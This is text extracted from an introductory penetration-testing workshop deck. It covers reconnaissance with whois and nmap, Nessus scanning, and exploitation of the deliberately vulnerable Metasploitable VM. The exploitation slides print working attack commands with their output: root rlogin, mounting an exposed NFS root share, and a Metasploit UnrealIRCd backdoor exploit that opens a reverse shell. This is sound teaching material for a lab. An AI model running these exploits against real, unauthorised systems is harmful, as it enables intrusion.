pentesting - pentest.pdf · •pentest lab 1.1 - setup vmware/ virtual box, kali linux vm,...

PentestingAn Introduction

Workshop Flow – 1

• Nature of Cyber Security Problem (Slides 4-7)

• Introduction – Pentesting - what, why, how (8-9)

• Pentesting - Intelligence Gathering (10-11)

• Pentesting tools Demo– Kali Linux, NMAP (12)

• Intelligence Gathering using WhoIS (13-15)

• Metasploitable OS – An Introduction (16)

• Pentest Lab 1.1 - Setup Vmware/ Virtual Box, Kali Linux VM, Metasploitable VM, Familiarity with Kali Linux, WhoIs

• Intelligence Gathering using NMAP (18-36)• Host Discovery• Port Scanning• OS Detection• Services and Version Detection

• Pentest Lab 1.2 – Intelligence Gathering with NMAP

Workshop Flow - 2

• Vulnerability Analysis (38-39)

• Scanning with Nessus (40-42)

• Understanding Nessus Vulnerability Report (43)

• Understand Vulnerabilties, where do they arise from? (44)

• Exploiting Vulnerabilities – Metasploit and Tools (45-54)• Rlogin• NFS-Share• Metasploit

• Approach to security --- Threat Modelling (55)

• Pentest Lab 1.3• Scanning with Nessus, Analysing the Report• Exploit Vulnerability1, Tools• Exploit Vulnerability2, Tools• Exploit Vulnerability3,4 using Metasploit

Black Hat – White Hat (A Game)

• Securing Our Home – A perspective

Security is Game of Survival

To Survive Deer should run faster than Tiger

To Survive Tiger should run faster than Deer

Physical Security vs Cyber Security

• How similar/ different• Intent

• Nature of the problem• Internet, Global boundaries, Glorified hackers,

Attack tools, Standards, Underworld economy, Accountability, Who is the adversary

• Strategy (attack and defense)• Weakest link strategy, All bases covered

strategy, Insider attack, Policies at different levels etc.

• Are they separate any more?

Spyware

Financial Malware

Security Problem Solving• Security : a Negative Goal.

• Achieve something despite whatever adversary might do. • Positive goal: “Ram can read grades.txt".

• Ask Ram to check that it works. Easy to check • Negative goal: “Shyam cannot read grades.txt".

• Check if Shyam cannot read grades.txt? Good to check, but not nearly enough. Must reason about all possible ways in which Shyam might get the data.

• How might Shyam try to get the contents of grades.txt? Change permissions ,Steal file, Impersonate etc.

• Open Ended Problem. No absolute definitive answer

• Threat Model Concept & Problem Solving

Pentesting – What, Why, How

• Pentesting : An Attack on a system in hopes of finding security weaknesses

• Rationale : Improving the security of your site by breaking into it

• How : Using Attacker’s Techniques

Pentesting – How is it usually done

• Intelligence/ Information Gathering

• Information Analysis and Planning – Component relationships, Target

identification etc

• Vulnerability Detection

• Penetration – Developing/ Customising, Choosing Exploit tools

• Attack/Privilege Escalation

• Analysis and reporting

• Clean-up

Intelligence Gathering

• What are we looking for?• Organizational intelligence, Access point discovery, Network discovery, Infrastructure

fingerprinting

• Open Source Intelligence• Corporate Information :: Location, Org Chart, Document Metadata, Network, Email

Address, Applications used, Purchase Agreements, Defense Technologies Used (Fingerprinting), Financial Information etc

• Individual Information :: All about individual, Social Engineering

• Covert Intelligence : Through Individuals

• Footprinting (next slide)

• Identify Protection Systems (Network, Host, Application, Storage etc)

Intelligence Gathering - Footprinting

• Passive Reconnaisance : Who is lookup, BGP Looking glasses

• Active Footpriting : Port Scanning, Banner Grabbing, SNMP sweeps, DNS Discovery, Forward/ Reverse DNS, Web Application Discovery, Virtual Host Detection

• Establish Target List : Versions, Weak web applications, Patch level

Kali Linux - Demo

A Collection of all Cyber Security related tools

Tools for Information Collection

Some info gathering tools

Some Possible Recon-ng/ Harvester, Maltego, NMAP, Burpsuite, Nessus/ Acunetix

Footprint - First Data

• IP ADDress ( some Ip address in the network to start with )…hunting IP Address

• whois a normally goodplace to start…maltego???...emailID, headers

Whois lookup

• Install it on your linux distro by entering apt-get install whois in terminal

• https://registry.in/whois/nita.ac.in

• Domain Name: NITA.AC.INRegistry Domain ID: D3544155-AFINRegistrar WHOIS Server:Registrar URL: http://www.ernet.inUpdated Date: 2017-03-02T07:21:44ZCreation Date: 2009-04-06T05:03:46ZRegistry Expiry Date: 2019-04-06T05:03:46ZRegistrar Registration Expiration Date:Registrar: ERNET IndiaRegistrar IANA ID: 800068Registrar Abuse Contact Email:Registrar Abuse Contact Phone:Reseller:Domain Status: okRegistrant Organization: National Institute of Technology, AgartalaRegistrant State/Province:Registrant Country: INName Server: ns1.nkn.inName Server: ns2.nkn.inDNSSEC: unsignedURL of the ICANN Whois Inaccuracy Complaint Form: https://www.icann.org/wicf/>>> Last update of WHOIS database: 2018-06-25T15:58:44Z

http://www.ernet.in/https://registry.in/index.php?query=180.149.63.3&output=nicehttps://registry.in/index.php?query=180.149.63.66&output=nicehttps://www.icann.org/wicf

Whois lookup

• root@kali:~# ping ns1.nkn.inPING ns1.nkn.in (180.149.63.3) 56(84) bytes of data.

64 bytes from ns1.nkn.in (180.149.63.3): icmp_seq=1 ttl=56 time=40.3 ms





--- ns1.nkn.in ping statistics ---

5 packets transmitted, 5 received, 0% packet loss, time 7715ms

rtt min/avg/max/mdev = 40.333/44.292/46.140/2.048 ms

Metasploitable - Introduction

• An intentionally vulnerable Ubuntu Linux virtual machine that is designed for testing common vulnerabilities.

• Used for Labs to exploit

• This virtual machine is compatible with VMWare, VirtualBox, and other common virtualization platforms.

• Created by the Rapid7 Metasploit team

• Metasploitable login is “msfadmin”; the password is also “msfadmin”

Lab 1.1

• Lab Setup• Virtual Box/ Vmware

• Kali Linux, Metasploitable

• Kali Linux Tools

• Metasploitable

• Testing communication between Kali Linux, Metasploitable server

• Whois

NMAP

• nmap is an open-source port/security scanner

• It’s primary function is the discovery and mapping of hosts on a network

• nmap is consistently voted as one of the most used security tools

• Needs as input a range or some specific address……..

NMAP

• Host Discovery – Identifying computers on a network

• Port Scanning – Enumerating the open ports on one or more target computers

• Version Detection – Interrogating listening network services • listening on remote computers to determine the application name and

version number

• OS Detection – Remotely determining the operating system from network devices

NMAP Demo (Script)

Run nmap command on Kali Linux Terminal.

Sample Syntax:

nmap [ ...] [ ] { }

TARGET SPECIFICATION:

Can pass hostnames, IP addresses, networks, etc.

Ex: scanme.nmap.org, microsoft.com/24, 192.168.0.1; 10.0.0-255.1-254

-iL : Input from list of hosts/networks

-iR : Choose random targets

--exclude : Exclude hosts/networks

--excludefile : Exclude list from file

Nmap –v –A …look at the report nmap_report_1.txt in kali linux reports folder

NMAP Host Discovery

• Querying multiple hosts using this method is referred to as ping sweeps …sweep through a range of IP addresses

• The most basic step in mapping out a network.

• Several Sweeps technique• ARP Sweep (default)• ICMP Sweeps• Broadcast ICMP• NON Echo ICMP• TCP sweep• UDP sweep

Host Discovery : ARP Sweep “nmap 10.0.2.0/24 –sn “

Host Discovery : ICMP Sweeps• Used by nmap when router in between (WAN)

• Technique• sending an ICMP ECHO request (ICMP type 8)• If an ICMP ECHO reply (ICMP type 0) is received : target is alive; • No response: target is down

• Pros & Cons• easy to implement• fairly slow, easy to be blocked

Scanner Target

ICMP ECHO request

ICMO ECHO reply

Scanner Target

a host is alive

a host is down/filtered

ICMP ECHO request

No response

Host Discovery : TCP Sweeps

• Sending TCP ACK or TCK SYN packets

• The port number can be selected to avoid blocking by firewall• Usually a good pick would be 21 / 22 / 23 / 25 / 80

• But.. firewalls can spoof a RESET packet for an IP address, so TCP Sweeps may not be reliable.

Host Discovery : UDP Sweeps

• Relies on the ICMP PORT UNREACHABLE

• Assume the port is opened if no ICMP PORT UNREACHABLE message is received after sending a UDP datagram

• Cons:• Routers can drop UDP packets as they cross the Internet

• Many UDP services do not respond when correctly probed

• Firewalls are usually configured to drop UDP packets (except for DNS)

• UDP sweep relies on the fact that a non-active UDP port will respond with an ICMP PORT UNREACHABLE message

NMAP Host Discovery summary• sL: List Scan - simply list targets to scan• -sn: Ping Scan - go no further than determining if host is online• -PN: Treat all hosts as online -- skip host discovery

• -PS/PA/PU [portlist]: TCP SYN/ACK or UDP discovery to given ports• -PE/PP/PM: ICMP echo, timestamp, and netmask request discovery probes• -PO [protocol list]: IP Protocol Ping

• -n/-R: Never do DNS resolution/Always resolve [default: sometimes]• --dns-servers : Specify custom DNS servers• --system-dns: Use OS's DNS resolver

• -sU: UDP ScanDemo and look at wireshark captureroot@kali:~# nmap -sn 10.0.2.4

Starting Nmap 7.70 ( https://nmap.org ) at 2018-06-26 05:36 EDTNmap scan report for 10.0.2.4Host is up (0.00026s latency).

MAC Address: 08:00:27:1A:23:D5 (Oracle VirtualBox virtual NIC)Nmap done: 1 IP address (1 host up) scanned in 0.13 seconds

Port Scanning : TCP Connect Scan• Use basic TCP connection establishment mechanism; complete 3-ways handshake

• Easily to detect by inspecting the system log

• Normally not used since expensive

Scanner Target

SYN

SYN/ACK

ACK

Scanner Target

SYN

RST/ACK

a port is opened

a port is closed

Port Scanning : TCP SYN scan• Do not establish a complete connection (Half Open scanning)

• send a SYN packet and wait for a response• If an SYN/ACK is received=> the port is LISTENING

• immediately tear down the connection by sending a RESET

• If an RST/ACK is received =>a non-LISTENING port. nmap –Pn is Syn scan for all ports

Scanner Target

SYN

SYN/ACK

Scanner Target

SYN

RST/ACK

a port is closed

a port is opened

RST

Port Scanning : Stealth Scan• To gather information about target sites while avoiding

detection • Try to hide themselves among normal network traffic• Not to be logged by logging mechanism (stealth)

• Techniques• Flag Probe packets (Also called “Inverse mapping”)

• Response is sent back only by closed port• By determining what services do not exist, an intruder can infer what

service do exist

• Slow scans rate• difficult to detect =>need long history log

CERT reported this technique in CERT® Incident Note IN-98.04

http://www.cert.org/incident_notes/IN-98.04.html

Port Scanning : Stealth Mapping• RFC793: to handle wrong state packets

• closed ports : reply with a RESET packet to wrong state packets

• opened ports : ignore any packet in question

• Technique

• A RST scan

• A FIN probe with the FIN TCP flag set (eg nmap –sF –p25 and capture)

• An XMAS probe with : set FIN, URG, ACK, SYN, RST, PUSH flags set (eg nmap –sX –p27

Port Scanning with nmap• SCAN TECHNIQUES:

• -sS/sT/sA/sW/sM: TCP SYN/Connect()/ACK/Window/Maimon scans• -sN/sF/sX: TCP Null, FIN, and Xmas scans• -b : FTP bounce scan

• PORT SPECIFICATION AND SCAN ORDER:• -p : Only scan specified ports

• Ex: -p22; -p1-65535; -p U:53,111,137,T:21-25,80,139,8080• -F: Fast mode - Scan fewer ports than the default scan• -r: Scan ports consecutively - don't randomize• --top-ports : Scan most common ports• --port-ratio : Scan ports more common than

Demo : Look at wire shark capture of nmap –sP x.x.x.x ( uses syn scan colorized conversations)nmap -Pn 10.0.2.4Starting Nmap 7.70 ( https://nmap.org ) at 2018-06-26 05:14 EDTNmap scan report for 10.0.2.4Host is up (0.00037s latency).Not shown: 977 closed portsPORT STATE SERVICE21/tcp open ftp22/tcp open ssh23/tcp open telnet

Services and Versions Detection

• The nmap-service-probes database contains probes for querying various services and match expressions to recognize and parse responses

Operating System Detection

• Banner, DNS HINFO and …

• TCP/IP fingerprinting (IP stack implementation will response differently)• FIN probe, Bogus Flag probe

• TCP initial sequence number sampling, TCP initial window, ACK value

• ICMP error quenching, message quoting, ICMP echo integrity

• IP: DF, TOS, Fragmentation

OS Detection : Examples

• ACK : sending FIN|PSH|URG to a closed port• most OS : ACK with the same sequence number

• Windows: ACK with sequence number+1

• Type of Service: Probing with an ICMP_PORT_UNREACHABLE message• most OS : TOS = 0

• Linux : TOS= 0xC0

Version and OS Detection with nmap

• SERVICE/VERSION DETECTION:• -sV: Probe open ports to determine service/version info

• --version-intensity : Set from 0 (light) to 9 (try all probes)

• --version-light: Limit to most likely probes (intensity 2)

• --version-all: Try every single probe (intensity 9)

• --version-trace: Show detailed version scan activity (for debugging)

• OS DETECTION:-O: Enable OS detection--osscan-limit: Limit OS detection to promising targets--osscan-guess: Guess OS more aggressively

Demo -sV and wireshark capture

root@kali:~# nmap -sV 10.0.2.4

Starting Nmap 7.70 ( https://nmap.org ) at 2018-06-26 06:01 EDT

Nmap scan report for 10.0.2.4

Host is up (0.00010s latency).

Not shown: 977 closed ports

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 2.3.4

22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)

Lab 1.2

• Workshop Lab Document

Vulnerabilties

• According to Wikipedia;

“The word vulnerability, in computer security, refers to a weakness in a systemallowing an attacker to violate the confidentiality, integrity, availability, access control,consistency or audit mechanisms of the system or the data and applications it hosts”

• To Software Developers, a bug is synonymous to a vulnerability.• Ex: Errors in program’s source code or flawed program design

• Buffer overflows• Memory leaks• Dead locks• Arithmetic overflow• Accessing protected memory (Access Violation)

• Software bug we are speaking of, they are used as the foundation to form an exploit.SecurityAttack on Vulnerability is exploit.

Vulnerabilities

Using Nmap or any scanner Find any hosts worthwhile? Next step should be scanning for exploitable vulnerabilities.

What could be the approach?

• What data do we have till now?

Hosts, Open Ports, Operating System, Applications Running, Versions

• How could we use this data? Use this data to find vulnerabilities using various resources on the net (exploit DB, CVE database, other databases)

Or

• Use a Vulnerability Scanner

Vulnerability Scanner - Nessus

• Nessus is a proprietary vulnerability scanner with Home version free

• Nessus runs a set of exploits on the open ports and reports vulnerabilities

• Vulnerability checks are implemented through plugins. • Plugins are written in Nessus Attack Scripting Language (NASL), a

scripting language optimized for custom network interaction. • New plugins are added as vulnerabilities are discovered. • Many plugins check for a vulnerability by actually exploiting the

vulnerability.• The ‘safe checks’ option specifies that no vulnerability check capable of

crashing a remote host be used (such as DOS attacks).• DEMO…look at Basic scan and Plugins

Vulnerability Scanner - Nessus

• Download Nessus

• On Kali Linux terminal run /etc/init.d/nessusd start

Will get Starting Nessus….

• Go to https://127.0.0.1:8834/#/

Vulnerabilties

Now we know the Vulnerabilities

What’s out Goal with this knowledge?

- Understand where Vulnerabilities arise from (to Prevent in future)

- Understand how exploitations happen (to be able write signatures/ exploit detection)

Understand the vulnerability, categories/ families? (Nessus Families?)

Find a tool to Exploit/ Write an exploit

Metasploit – Rapid7…Demo

Vulnerability – Rlogin ExploitIf we look at Family vertical of Nessus Report, we see some simple ones

- Backdoor

- Gain a shell remotely

- Service Detection – Existence of the service itself indicates vulnerability. Let’s try to exploit “rlogin service detection”

- Click on rlogin Service Detection in nessus report to get details

On Kali Linux Install rsh-client (for rlogin command else it defaults to ssh)

apt-get install rsh-client

rlogin -l root 10.0.2.4Last login: Thu Jun 28 07:28:57 EDT 2018 from :0.0 on pts/0

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

Snip….Snip

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by

applicable law.

To access official Ubuntu documentation, please visit:

http://help.ubuntu.com/

You have new mail.

root@metasploitable:~#

Vulnerability – NFS Share Exploit

- Let’s try to exploit “nfs exported share information disclosure”- Click on the same in nessus report to get detailsOn Kali Linux Install rpcbind only if you want to recheck if nfs is running), nfs-common

apt-get install rpcbind

apt-get install nfs-common

root@kali:~# showmount -e 10.0.2.4

Export list for 10.0.2.4:

/ *

root@kali:~# mkdir /tmp/r00t

root@kali:~# mount -t nfs 10.0.2.4:/ /tmp/r00t/

root@kali:~# ls

amit_passwd Documents Music Pictures Templates Videos

Desktop Downloads 'nmap scan reports' Public trojan.exe

Vulnerabilties – Exploit Payload

• Exploits are commonly used to install system malware or gain system access or recruit client machines into an existing ‘botnet’.

• This is accomplished with the help of a payload

• The payload is a sequence of code that is executed when the vulnerability is triggered

• To make things clear, an Exploit is really broken up into two parts, like so;

EXPLOIT = Vulnerability + Payload;

• Different payload types exist and they accomplish different tasks• exec → Execute a command or program on the remote system• download_exec→ Download a file from a URL and execute• upload_exec→ Upload a local file and execute• adduser → Add user to system accounts

Metasploit Framework

What is the Metasploit Framework?

• According to the Metasploit Team;

“The Metasploit Framework is a platform for writing, testing, and using

exploit code. The primary users of the Framework are professionals

performing penetration testing, shellcode development, and

vulnerability research.”

Metasploit Framework

• The MSF is not only an environment for exploit development but also a platform for launching exploits on real-world applications. It is packaged with real exploits that can provide real damage if not used professionally.

• The fact that MSF is an open-source tool and provides such a simplified method for launching dangerous attacks, it has and still is attracting blackhat and whitehat beginners. Fairly dangerous.

Vulnerabilties –Exploits using Metasploit

db_nmap -v -T4 -PA -sV --version-all --osscan-guess -A -sS -p 1-65535

Scans Metsploitable


• run the following command:

Services

• Compare

With Nessus

Report


Usually the sequence for exploiting is

- Search for the Exploit/ payload using command “search xxx”. Search can be on multiple keywords related to vulnerability eg CVE, module etc

- “use ”

- “Info” to get information on the Exploit

- “run” to execute the exploit

Vulnerabilties – UnrealIRCd Backdoor Detection

- Click on UnrealIRCd Backdoor Detection in Nessus Report

Provides information including CVE No ‘ CVE-2010-2075’

- In Metasploit ‘Search CVE-2010-2075’ givesmsf exploit(unix/irc/unreal_ircd_3281_backdoor) > search cve-2010-2075

Matching Modules

================

Name Disclosure Date Rank Description

---- --------------- ---- -----------

exploit/unix/irc/unreal_ircd_3281_backdoor 2010-06-12 excellent UnrealIRCD 3.2.8.1 Backdoor Command Execution

- ‘Use exploit/unix/irc/unreal_ircd_3281_backdoor ‘ gives cursurmsf exploit(unix/irc/unreal_ircd_3281_backdoor) >

- ‘info’ provides information of payload. RHOST is not set

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-2075

Vulnerabilties – UnrealIRCd Backdoor Detection

msf exploit(unix/irc/unreal_ircd_3281_backdoor) > set RHOST 10.0.2.4

RHOST => 10.0.2.4

msf exploit(unix/irc/unreal_ircd_3281_backdoor) > run

[*] Started reverse TCP double handler on 10.0.2.15:4444

[*] 10.0.2.4:6667 - Connected to 10.0.2.4:6667...

:irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...

:irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead

[*] 10.0.2.4:6667 - Sending backdoor command...

[*] Accepted the first client connection...

[*] Accepted the second client connection...

[*] Command: echo NkKbs49F8lfv25Hf;

[*] Writing to socket A

[*] Writing to socket B

[*] Reading from sockets...

[*] Reading from socket B

[*] B: "NkKbs49F8lfv25Hf\r\n"

[*] Matching...

[*] A is input...

[*] Command shell session 1 opened (10.0.2.15:4444 -> 10.0.2.4:60006) at 2018-06-28 12:20:03 -0400

>>>>>>>.

Security Approach – Threat Modeling

Structured approach to identifying, quantifying, and addressing threats.

In threat modeling, we cover the three main elements:

• Assets: What valuable data and equipment should be secured?

• Threats: What may an attacker do to the system?

• Vulnerabilities: What flaws in the system allow an attacker to realize a threat?

Possible Steps to Threat Modeling

• Identify the Assets

• Describe the Architecture Describe the Architecture

• Break down the Applications

• Identify the Threats

• Document and Classify the Threats

• Rate the Threats

Lab 1.3

Nessus Scan – Metasploitable

Look at Vulnerabilities

2 Vulnerabilities without Metasploit

Metasploit Commands

2 Vulnerabilities with Metasploit